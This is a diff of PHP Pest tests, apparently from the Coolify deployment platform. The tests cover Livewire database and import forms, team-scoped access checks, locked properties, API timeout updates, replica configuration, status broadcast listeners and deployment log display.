public function syncData(bool $toModel = false): void
{
if ($toModel) {
$this->database->health_check_enabled = $this->healthCheckEnabled;
$this->database->save();
}
}
};
$component->database = $database;
$component->healthCheckEnabled = false;
$component->healthCheckInterval = 15;
$component->healthCheckTimeout = 5;
$component->healthCheckRetries = 5;
$component->healthCheckStartPeriod = 5;
$component->toggleHealthcheck();
expect($database->health_check_enabled)->toBeTrue()
->and($database->saveCalls)->toBe(1)
->and($component->dispatchedEvents)->toBe(['success', 'configurationChanged']);
});
@@ -1,7 +1,8 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Livewire\Project\Database\ImportForm;
use App\Support\ValidationPatterns;
use Livewire\Attributes\Locked;
describe('container name validation', function () {
test('isValidContainerName accepts valid container names', function () {
@@ -45,43 +46,43 @@ describe('container name validation', function () {
describe('locked properties', function () {
test('container property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'container');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'container');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('serverId property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'serverId');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'serverId');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceId property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceId');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceType property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceType');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceUuid property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceUuid');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceDbType property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceDbType');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
@@ -89,7 +90,7 @@ describe('locked properties', function () {
describe('server method uses team scoping', function () {
test('server computed property calls ownedByCurrentTeam', function () {
$method = new ReflectionMethod(Import::class, 'server');
$method = new ReflectionMethod(ImportForm::class, 'server');
// Extract the server method body
$startLine = $method->getStartLine();
@@ -102,9 +103,9 @@ describe('server method uses team scoping', function () {
});
});
describe('Import component uses shared ValidationPatterns', function () {
describe('ImportForm component uses shared ValidationPatterns', function () {
test('runImport references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(Import::class, 'runImport');
$method = new ReflectionMethod(ImportForm::class, 'runImport');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
@@ -114,7 +115,7 @@ describe('Import component uses shared ValidationPatterns', function () {
});
test('restoreFromS3 references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
@@ -0,0 +1,20 @@
<?php
it('declares explicit authorization on database import form controls', function () {
$view = file_get_contents(resource_path('views/livewire/project/database/import-form.blade.php'));
preg_match_all(
'/<x-forms\.(button|input|select|checkbox|textarea)\b[^>]*>/s',
$view,
$matches,
PREG_OFFSET_CAPTURE
);
$missingAuthorization = collect($matches[0])
->filter(fn (array $match): bool => ! str_contains($match[0], 'canGate=') || ! str_contains($match[0], 'canResource='))
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
->values()
->all();
expect($missingAuthorization)->toBeEmpty();
});
@@ -0,0 +1,147 @@
<?php
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\StandaloneRedis;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::updateOrCreate(['id' => 0]);
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
describe('PATCH /api/v1/databases', function () {
test('updates public_port_timeout on a postgresql database', function () {
$database = StandalonePostgresql::create([
'name' => 'test-postgres',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}", [
'public_port_timeout' => 7200,
]);
$response->assertStatus(200);
$database->refresh();
expect($database->public_port_timeout)->toBe(7200);
});
test('updates public_port_timeout on a redis database', function () {
$database = StandaloneRedis::create([
'name' => 'test-redis',
'image' => 'redis:7',
'redis_password' => 'password',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}", [
'public_port_timeout' => 1800,
]);
$response->assertStatus(200);
$database->refresh();
expect($database->public_port_timeout)->toBe(1800);
});
test('rejects invalid public_port_timeout value', function () {
$database = StandalonePostgresql::create([
'name' => 'test-postgres',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}", [
'public_port_timeout' => 0,
]);
$response->assertStatus(422);
});
test('accepts null public_port_timeout', function () {
$database = StandalonePostgresql::create([
'name' => 'test-postgres',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}", [
'public_port_timeout' => null,
]);
$response->assertStatus(200);
$database->refresh();
expect($database->public_port_timeout)->toBeNull();
});
});
describe('POST /api/v1/databases/postgresql', function () {
test('creates postgresql database with public_port_timeout', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/postgresql', [
'server_uuid' => $this->server->uuid,
'project_uuid' => $this->project->uuid,
'environment_name' => $this->environment->name,
'public_port_timeout' => 5400,
'instant_deploy' => false,
]);
$response->assertStatus(200);
$uuid = $response->json('uuid');
$database = StandalonePostgresql::whereUuid($uuid)->first();
expect($database)->not->toBeNull();
expect($database->public_port_timeout)->toBe(5400);
});
});
@@ -0,0 +1,74 @@
<?php
/*
* Verifies the opt-in read/write replica split in config/database.php.
* The config file is re-required under different putenv() states so the
* env() calls re-evaluate, then the resulting pgsql array shape is asserted.
*/
function loadDbConfig(): array
{
return require base_path('config/database.php');
}
afterEach(function () {
foreach ([
'DB_READ_HOST', 'DB_READ_PORT', 'DB_READ_USERNAME', 'DB_READ_PASSWORD',
'DB_WRITE_HOST', 'DB_WRITE_PORT', 'DB_WRITE_USERNAME', 'DB_WRITE_PASSWORD',
'DB_STICKY',
] as $key) {
putenv($key);
}
});
it('has no replica keys when DB_READ_HOST is unset', function () {
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql)
->not->toHaveKey('read')
->not->toHaveKey('write')
->not->toHaveKey('sticky')
->and($pgsql['driver'])->toBe('pgsql');
});
it('enables the read/write split when DB_READ_HOST is set', function () {
putenv('DB_READ_HOST=replica1, replica2');
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql)
->toHaveKey('read')
->toHaveKey('write')
->and($pgsql['read']['host'])->toBe(['replica1', 'replica2'])
->and($pgsql['sticky'])->toBeTrue();
});
it('falls back to DB_* values for unset replica options', function () {
putenv('DB_READ_HOST=replica1');
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql['read']['port'])->toBe(env('DB_PORT', '5432'))
->and($pgsql['read']['username'])->toBe(env('DB_USERNAME', 'coolify'))
->and($pgsql['write']['host'])->toBe([env('DB_HOST', 'coolify-db')]);
});
it('respects discrete replica overrides', function () {
putenv('DB_READ_HOST=replica1');
putenv('DB_READ_PORT=6432');
putenv('DB_READ_USERNAME=reader');
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql['read']['port'])->toBe('6432')
->and($pgsql['read']['username'])->toBe('reader');
});
it('disables sticky reads when DB_STICKY is false', function () {
putenv('DB_READ_HOST=replica1');
putenv('DB_STICKY=false');
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql['sticky'])->toBeFalse();
});
@@ -0,0 +1,289 @@
<?php
use App\Livewire\Project\Application\Configuration as ApplicationConfiguration;
use App\Livewire\Project\Application\ServerStatusBadge;
use App\Livewire\Project\Database\Clickhouse\General as ClickhouseGeneral;
use App\Livewire\Project\Database\Clickhouse\StatusInfo as ClickhouseStatusInfo;
use App\Livewire\Project\Database\Dragonfly\General as DragonflyGeneral;
use App\Livewire\Project\Database\Dragonfly\StatusInfo as DragonflyStatusInfo;
use App\Livewire\Project\Database\Import as DatabaseImport;
use App\Livewire\Project\Database\ImportForm as DatabaseImportForm;
use App\Livewire\Project\Database\Keydb\General as KeydbGeneral;
use App\Livewire\Project\Database\Keydb\StatusInfo as KeydbStatusInfo;
use App\Livewire\Project\Database\Mariadb\General as MariadbGeneral;
use App\Livewire\Project\Database\Mariadb\StatusInfo as MariadbStatusInfo;
use App\Livewire\Project\Database\Mongodb\General as MongodbGeneral;
use App\Livewire\Project\Database\Mongodb\StatusInfo as MongodbStatusInfo;
use App\Livewire\Project\Database\Mysql\General as MysqlGeneral;
use App\Livewire\Project\Database\Mysql\StatusInfo as MysqlStatusInfo;
use App\Livewire\Project\Database\Postgresql\General as PostgresqlGeneral;
use App\Livewire\Project\Database\Postgresql\StatusInfo as PostgresqlStatusInfo;
use App\Livewire\Project\Database\Redis\General as RedisGeneral;
use App\Livewire\Project\Database\Redis\StatusInfo as RedisStatusInfo;
use App\Livewire\Project\Service\Configuration as ServiceConfiguration;
use App\Livewire\Project\Service\ResourceCard as ServiceResourceCard;
use App\Livewire\Server\Sentinel;
use App\Livewire\Server\Show;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\StandaloneDocker;
use App\Models\StandaloneMysql;
use App\Models\StandaloneRedis;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
dataset('database-general-forms-without-broadcasts', [
// Status-derived display moved into a sibling StatusInfo component for each DB,
// so the form itself takes no broadcast listeners and cannot clobber wire:dirty
// by absorbing deferred wire:model values during a status-triggered roundtrip.
RedisGeneral::class,
PostgresqlGeneral::class,
MysqlGeneral::class,
MariadbGeneral::class,
MongodbGeneral::class,
KeydbGeneral::class,
DragonflyGeneral::class,
ClickhouseGeneral::class,
DatabaseImportForm::class,
ServiceConfiguration::class,
ApplicationConfiguration::class,
]);
dataset('database-status-info-components', [
RedisStatusInfo::class,
PostgresqlStatusInfo::class,
MysqlStatusInfo::class,
MariadbStatusInfo::class,
MongodbStatusInfo::class,
KeydbStatusInfo::class,
DragonflyStatusInfo::class,
ClickhouseStatusInfo::class,
]);
dataset('display-only-status-components', [
RedisStatusInfo::class,
PostgresqlStatusInfo::class,
MysqlStatusInfo::class,
MariadbStatusInfo::class,
MongodbStatusInfo::class,
KeydbStatusInfo::class,
DragonflyStatusInfo::class,
ClickhouseStatusInfo::class,
DatabaseImport::class,
ServiceResourceCard::class,
ServerStatusBadge::class,
]);
it('does not subscribe the form to status broadcasts when display lives in a sibling', function (string $componentClass) {
// Regression guard for coolify#6062 / #6354 / #9695:
// Status broadcasts on the form would trigger a Livewire roundtrip that absorbs
// deferred wire:model values into the snapshot — clobbering both the typed text
// (resolved by the earlier refreshStatus fix) and the wire:dirty indicator.
$listeners = resolveLivewireListeners(app($componentClass));
expect($listeners)
->not->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked")
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceStatusChanged");
})->with('database-general-forms-without-broadcasts');
/**
* Resolve a Livewire component's listeners regardless of whether the subclass
* exposes getListeners() publicly or only declares a $listeners array — the
* HandlesEvents trait keeps getListeners() protected by default.
*/
function resolveLivewireListeners(object $component): array
{
$method = new ReflectionMethod($component, 'getListeners');
$method->setAccessible(true);
return (array) $method->invoke($component);
}
it('auto-refreshes status-info sibling on database status broadcasts', function (string $componentClass) {
// Status-derived display (connection URLs, SSL gate hint, cert expiry) lives in a sibling
// Livewire component so it can re-render on broadcasts without touching the form's DOM.
$listeners = resolveLivewireListeners(app($componentClass));
expect($listeners)
->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked");
})->with('database-status-info-components');
it('keeps realtime status listeners on display-only components instead of form owners', function (string $componentClass) {
$listeners = resolveLivewireListeners(app($componentClass));
expect($listeners)->not->toBeEmpty();
})->with('display-only-status-components');
it('refreshes a service resource card without refreshing the service configuration form owner', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$service = Service::create([
'name' => 'status-card-service',
'environment_id' => $environment->id,
'server_id' => $server->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'docker_compose_raw' => 'services: {}',
]);
$serviceApplication = ServiceApplication::create([
'service_id' => $service->id,
'name' => 'web',
'image' => 'nginx:latest',
'status' => 'exited:unhealthy',
]);
$parameters = [
'project_uuid' => $project->uuid,
'environment_uuid' => $environment->uuid,
'service_uuid' => $service->uuid,
];
$component = Livewire::test(ServiceResourceCard::class, [
'service' => $service,
'resource' => $serviceApplication,
'parameters' => $parameters,
]);
$serviceApplication->fill(['status' => 'running:healthy'])->save();
$component->call('refreshResource');
expect($component->instance()->resource->status)->toBe('running:healthy');
});
it('refreshes database import status from stored resource identity after the route context is gone', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandaloneMysql::create([
'name' => 'import-status-mysql',
'image' => 'mysql:8',
'mysql_root_password' => 'password',
'mysql_user' => 'coolify',
'mysql_password' => 'password',
'mysql_database' => 'coolify',
'status' => 'exited:unhealthy',
'is_log_drain_enabled' => false,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$component = app(DatabaseImport::class);
$component->resourceId = $database->id;
$component->resourceType = StandaloneMysql::class;
$database->fill(['status' => 'running:healthy'])->save();
$component->refreshStatus();
expect($component->resourceStatus)->toBe('running:healthy');
});
it('reloads the mysql status-info model when refresh is called so ssl controls follow the latest status', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandaloneMysql::create([
'name' => 'test-mysql',
'image' => 'mysql:8',
'mysql_root_password' => 'password',
'mysql_user' => 'coolify',
'mysql_password' => 'password',
'mysql_database' => 'coolify',
'status' => 'exited:unhealthy',
'enable_ssl' => true,
'is_log_drain_enabled' => false,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$component = Livewire::test(MysqlStatusInfo::class, ['database' => $database])
->assertDontSee('Database should be stopped to change this settings.');
$database->fill(['status' => 'running:healthy'])->save();
$component->call('refresh')
->assertSee('Database should be stopped to change this settings.');
});
it('does not clobber server form text inputs when sentinel restarts', function () {
$server = Server::factory()->create([
'team_id' => $this->team->id,
'name' => 'persisted-server-name',
]);
$component = Livewire::test(Sentinel::class, ['server_uuid' => $server->uuid])
->set('sentinelToken', 'user-was-typing-this-token');
$component->call('handleSentinelRestarted', ['serverUuid' => $server->uuid]);
expect($component->get('sentinelToken'))->toBe('user-was-typing-this-token');
});
it('does not clobber server form text inputs when server validation completes', function () {
$server = Server::factory()->create([
'team_id' => $this->team->id,
'name' => 'persisted-server-name',
]);
$component = Livewire::test(Show::class, ['server_uuid' => $server->uuid])
->set('name', 'user-was-typing-here')
->set('ip', '203.0.113.42');
$component->call('handleServerValidated', ['serverUuid' => $server->uuid]);
expect($component->get('name'))->toBe('user-was-typing-here')
->and($component->get('ip'))->toBe('203.0.113.42');
});
it('shows the redis ssl gate hint after the sibling is refreshed', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandaloneRedis::create([
'name' => 'test-redis',
'image' => 'redis:7',
'redis_password' => 'password',
'redis_username' => 'default',
'status' => 'exited:unhealthy',
'enable_ssl' => true,
'is_log_drain_enabled' => false,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$component = Livewire::test(RedisStatusInfo::class, ['database' => $database])
->assertDontSee('Database should be stopped to change this settings.');
$database->fill(['status' => 'running:healthy'])->save();
$component->call('refresh')
->assertSee('Database should be stopped to change this settings.');
});
@@ -0,0 +1,88 @@
<?php
use App\Livewire\Project\DeleteEnvironment;
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Team;
use App\Models\User;
use Illuminate\Database\Eloquent\ModelNotFoundException;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
// Current team
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
// Another team
$this->userB = User::factory()->create();
$this->teamB = Team::factory()->create();
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
test('mount cannot load DeleteEnvironment with environment from another team', function () {
Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentB->id]);
})->throws(ModelNotFoundException::class);
test('mount can load DeleteEnvironment with own team environment', function () {
$component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]);
expect($component->get('environmentName'))->toBe($this->environmentA->name);
});
test('environment_id is locked and cannot be reassigned from the client', function () {
$component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]);
try {
$component->set('environment_id', $this->environmentB->id);
$this->fail('Setting a #[Locked] property should have thrown.');
} catch (CannotUpdateLockedPropertyException) {
expect(true)->toBeTrue();
}
});
test('delete still removes an empty environment owned by the current team', function () {
$component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id])
->set('parameters', ['project_uuid' => $this->projectA->uuid]);
$component->call('delete');
expect(Environment::find($this->environmentA->id))->toBeNull();
});
test('delete cannot resolve a non-empty environment from another team', function () {
// The team-scoped lookup must stay in the delete() path so the
// "has defined resources" branch can never run for an environment
// outside the caller's team.
Application::factory()->create([
'environment_id' => $this->environmentB->id,
]);
$teamScopedLookup = fn () => Environment::ownedByCurrentTeam()
->findOrFail($this->environmentB->id);
expect($teamScopedLookup)->toThrow(ModelNotFoundException::class);
});
test('team scoped lookup permits own team environment', function () {
// Positive case so the cross-team check above cannot pass merely
// because the helper itself is broken.
$found = Environment::ownedByCurrentTeam()->findOrFail($this->environmentA->id);
expect($found->id)->toBe($this->environmentA->id);
});
@@ -0,0 +1,116 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
function createJobWithProperties(string $uuid): object
{
$ref = new ReflectionClass(ApplicationDeploymentJob::class);
$instance = $ref->newInstanceWithoutConstructor();
$app = Mockery::mock(Application::class)->makePartial();
$app->uuid = $uuid;
$queue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
$queue->shouldReceive('addLogEntry')->andReturnNull();
$appProp = $ref->getProperty('application');
$appProp->setAccessible(true);
$appProp->setValue($instance, $app);
$queueProp = $ref->getProperty('application_deployment_queue');
$queueProp->setAccessible(true);
$queueProp->setValue($instance, $queue);
return $instance;
}
function invokeResolve(object $instance, $containers, ?string $specifiedName, string $type): ?array
{
$ref = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $ref->getMethod('resolveCommandContainer');
$method->setAccessible(true);
return $method->invoke($instance, $containers, $specifiedName, $type);
}
describe('resolveCommandContainer', function () {
test('returns null when no containers exist', function () {
$instance = createJobWithProperties('abc123');
$result = invokeResolve($instance, collect([]), 'web', 'Pre-deployment');
expect($result)->toBeNull();
});
test('returns the sole container when only one exists', function () {
$container = ['Names' => 'web-abc123', 'Labels' => ''];
$instance = createJobWithProperties('abc123');
$result = invokeResolve($instance, collect([$container]), null, 'Pre-deployment');
expect($result)->toBe($container);
});
test('returns the sole container regardless of specified name when only one exists', function () {
$container = ['Names' => 'web-abc123', 'Labels' => ''];
$instance = createJobWithProperties('abc123');
$result = invokeResolve($instance, collect([$container]), 'wrong-name', 'Pre-deployment');
expect($result)->toBe($container);
});
test('returns null when no container name specified for multi-container app', function () {
$containers = collect([
['Names' => 'web-abc123', 'Labels' => ''],
['Names' => 'worker-abc123', 'Labels' => ''],
]);
$instance = createJobWithProperties('abc123');
$result = invokeResolve($instance, $containers, null, 'Pre-deployment');
expect($result)->toBeNull();
});
test('returns null when empty string container name for multi-container app', function () {
$containers = collect([
['Names' => 'web-abc123', 'Labels' => ''],
['Names' => 'worker-abc123', 'Labels' => ''],
]);
$instance = createJobWithProperties('abc123');
$result = invokeResolve($instance, $containers, '', 'Pre-deployment');
expect($result)->toBeNull();
});
test('matches correct container by specified name in multi-container app', function () {
$containers = collect([
['Names' => 'web-abc123', 'Labels' => ''],
['Names' => 'worker-abc123', 'Labels' => ''],
]);
$instance = createJobWithProperties('abc123');
$result = invokeResolve($instance, $containers, 'worker', 'Pre-deployment');
expect($result)->toBe(['Names' => 'worker-abc123', 'Labels' => '']);
});
test('returns null when specified container name does not match any container', function () {
$containers = collect([
['Names' => 'web-abc123', 'Labels' => ''],
['Names' => 'worker-abc123', 'Labels' => ''],
]);
$instance = createJobWithProperties('abc123');
$result = invokeResolve($instance, $containers, 'nonexistent', 'Pre-deployment');
expect($result)->toBeNull();
});
test('matches container with PR suffix', function () {
$containers = collect([
['Names' => 'web-abc123-pr-42', 'Labels' => ''],
['Names' => 'worker-abc123-pr-42', 'Labels' => ''],
]);
$instance = createJobWithProperties('abc123');
$result = invokeResolve($instance, $containers, 'web', 'Pre-deployment');
expect($result)->toBe(['Names' => 'web-abc123-pr-42', 'Labels' => '']);
});
});
+104
View File
@@ -0,0 +1,104 @@
<?php
use App\Enums\ApplicationDeploymentStatus;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Testing\TestResponse;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
InstanceSettings::unguarded(function () {
InstanceSettings::query()->create([
'id' => 0,
'is_registration_enabled' => true,
]);
});
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'status' => 'running',
]);
});
function showDeployment(string $status): TestResponse
{
$deployment = ApplicationDeploymentQueue::create([
'application_id' => test()->application->id,
'deployment_uuid' => 'deploy-scroll-'.$status,
'server_id' => test()->server->id,
'status' => $status,
'logs' => json_encode([[
'command' => null,
'output' => 'log line for '.$status,
'type' => 'stdout',
'timestamp' => now()->toISOString(),
'hidden' => false,
'batch' => 1,
'order' => 1,
]], JSON_THROW_ON_ERROR),
]);
return test()->get(route('project.application.deployment.show', [
'project_uuid' => test()->project->uuid,
'environment_uuid' => test()->environment->uuid,
'application_uuid' => test()->application->uuid,
'deployment_uuid' => $deployment->deployment_uuid,
]));
}
it('does not enable follow mode for a finished deployment', function () {
$response = showDeployment(ApplicationDeploymentStatus::FINISHED->value);
$response->assertSuccessful();
$response->assertSee('alwaysScroll: false', false);
$response->assertDontSee('alwaysScroll: true', false);
});
it('enables follow mode for an in-progress deployment', function () {
$response = showDeployment(ApplicationDeploymentStatus::IN_PROGRESS->value);
$response->assertSuccessful();
$response->assertSee('alwaysScroll: true', false);
});
it('scopes scroll teardown to the component so a stale loop cannot leak across deployments', function () {
$content = showDeployment(ApplicationDeploymentStatus::FINISHED->value)->getContent();
// Alpine destroy() tears the scroll loop down on wire:navigate away.
expect($content)->toContain('destroy()')
->toContain('cancelScrollLoop()')
// Container lookup is component-scoped, not a global getElementById.
->toContain("this.\$root.querySelector('#logsContainer')")
->not->toContain("document.getElementById('logsContainer')")
// morph.updated hook only acts on this component's own DOM.
->toContain('this.$root.contains(el)')
// Global Livewire hook is unregistered when Alpine tears down.
->toContain('morphUpdatedCleanup: null')
->toContain("this.morphUpdatedCleanup = Livewire.hook('morph.updated'")
->toContain("typeof this.morphUpdatedCleanup === 'function'")
->toContain('this.morphUpdatedCleanup()')
// Continuation timeout is tracked so it can be cancelled.
->toContain('scrollTimeout');
});
@@ -0,0 +1,79 @@
<?php
use App\Enums\ApplicationDeploymentStatus;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
InstanceSettings::unguarded(function () {
InstanceSettings::query()->create([
'id' => 0,
'is_registration_enabled' => true,
]);
});
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'status' => 'running',
]);
});
it('renders deployment logs in a full-height layout', function () {
$deployment = ApplicationDeploymentQueue::create([
'application_id' => $this->application->id,
'deployment_uuid' => 'deploy-layout-test',
'server_id' => $this->server->id,
'status' => ApplicationDeploymentStatus::FINISHED->value,
'logs' => json_encode([
[
'command' => null,
'output' => 'rolling update started',
'type' => 'stdout',
'timestamp' => now()->toISOString(),
'hidden' => false,
'batch' => 1,
'order' => 1,
],
